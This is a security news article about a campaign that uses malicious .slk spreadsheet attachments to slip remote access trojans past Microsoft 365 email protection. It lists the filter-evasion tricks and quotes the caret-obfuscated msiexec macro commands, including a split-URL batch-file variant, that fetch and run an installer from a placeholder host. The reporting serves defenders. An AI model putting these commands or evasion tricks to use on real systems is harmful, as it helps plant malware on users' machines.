Sunday, June 15, 2025
HomeMalwareHackers Extensively Attacking Microsoft 365 Customers Using Malicious .slk Files

Hackers Extensively Attacking Microsoft 365 Customers Using Malicious .slk Files

Published on

SIEM as a Service

Follow Us on Google News

Hackers use a new attack method that bypasses both Microsoft 365 default security (EOP) and advanced security (ATP).

The attack campaign specifically crafted to bypass Microsoft 365 uses a malicious .slk attachment that contains a macro embedded to download and install a remote access trojan.

The attack was detected by Avanan’s Security Analysts, according to analysts “At the time of writing, Microsoft 365 is still vulnerable and the attack is still being used extensively against Microsoft 365 customers.”

- Advertisement - Google News

Microsoft 365 Customers Targeted

The “Symbolic Link” (SLK) is a text-based spreadsheet format, it is an alternative file format to XLSX. It’s very rare for anyone to receive the SLK files.

If you have the files received in your inbox, then likely you are being targeted by Remote Access Trojan malware that upgraded to bypass Advanced Threat Protection.

“The attack specifically targets Microsoft 365 accounts and until recently, was isolated to a small number of organizations,” reads Avanan report.

Attackers use highly customized emails to attack their targets, they are highly customized and uses topic most relevant organization and the individual targeted.

Here is the sample mail with attached SLK file

Following are the obfuscation techniques used to bypass ATP

  • The attack was sent from hundreds of free Hotmail accounts
  • The macro script includes ‘^’ characters to confuse ATP filters.
  • The URL was split in two so that ATP would not read it as a web link,
  • The hosting server became active after the email was sent so it seemed benign if sandboxed by ATP,
  • The hosting server only responded to “Windows Installer” user agents, ignoring other queries.

The email found to be sent from thousands of Hotmail email address, attackers use it as an advantage to bypass security filters.

The macro script also includes escape characters to confuse ATP filters

M^s^ie^xec /ih^tt^p^:^/^/malicious-site.com/install.php ^/q

Also to confuse ATP the attackers split the URL into two macros

First macro

set /p=””M^s^ie^xec /ih^tt^p^:^/^/malicious-sit”” > JBfoT.bat

Second macro

set /p=””e.com/install.php ^/q”” >> JBfoT.bat & JBfoT.bat

The malicious SLK file runs two to create a malicious install script that install software based on commands provided by attackers.

Mitigation

Users are recommended configure your Office 365 account to reject files SLK files as they are relatively rare.

You can follow us on LinkedinTwitterFacebook for daily Cybersecurity, and hacking news updates.

Also Read

Microsoft Office 365 New Campaign Views to help Customers Tracking Attacks Targeting Organization and its Users

Hackers Bypass Multi-factor Authentication to Hack Office 365 & G Suite Cloud Accounts Using IMAP Protocol

Gurubaran
Gurubaran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Latest articles

Kali Linux 2025.2 Released: New Tools, Smartwatch and Car Hacking Added

Kali Linux, the preferred distribution for security professionals, has launched its second major release...

Arsen Launches AI-Powered Vishing Simulation to Help Organizations Combat Voice Phishing at Scale

Arsen, the cybersecurity startup known for defending organizations against social engineering threats, has announced...

NIST Releases New Guide – 19 Strategies for Building Zero Trust Architectures

The National Institute of Standards and Technology (NIST) has released groundbreaking guidance to help...

Spring Framework Flaw Enables Remote File Disclosure via “Content‑Disposition” Header

A medium-severity reflected file download (RFD) vulnerability (CVE-2025-41234) in VMware's Spring Framework has been...

Credential Abuse: 15-Min Attack Simulation

Credential Abuse Unmasked

Credential abuse is #1 attack vector in web and API breaches today (Verizon DBIR 2025). Join our live, 15-min attack simulation with Karthik Krishnamoorthy (CTO - Indusface) and Phani Deepak Akella (VP of Marketing - Indusface) to see hackers move from first probe to full account takeover.

Discussion points


Username & email enumeration – how a stray status-code reveals valid accounts.
Password spraying – low-and-slow guesses that evade basic lockouts.
Credential stuffing – lightning-fast reuse of breach combos at scale.
MFA / session-token bypass – sliding past second factors with stolen cookies.

More like this

Microsoft Defender Spoofing Flaw Enables Privilege Escalation and AD Access

A newly disclosed spoofing vulnerability (CVE-2025-26685) in Microsoft Defender for Identity (MDI) enables unauthenticated...

Cybercriminals Exploiting Expired Discord Invite Links to Deploy Multi-Stage Malware

Recent investigations by Check Point Research have uncovered a sophisticated malware campaign that leverages...

AitM Phishing Attacks on Microsoft 365 and Google Aimed at Stealing Login Credentials

A dramatic escalation in phishing attacks leveraging Adversary-in-the-Middle (AiTM) techniques has swept across organizations...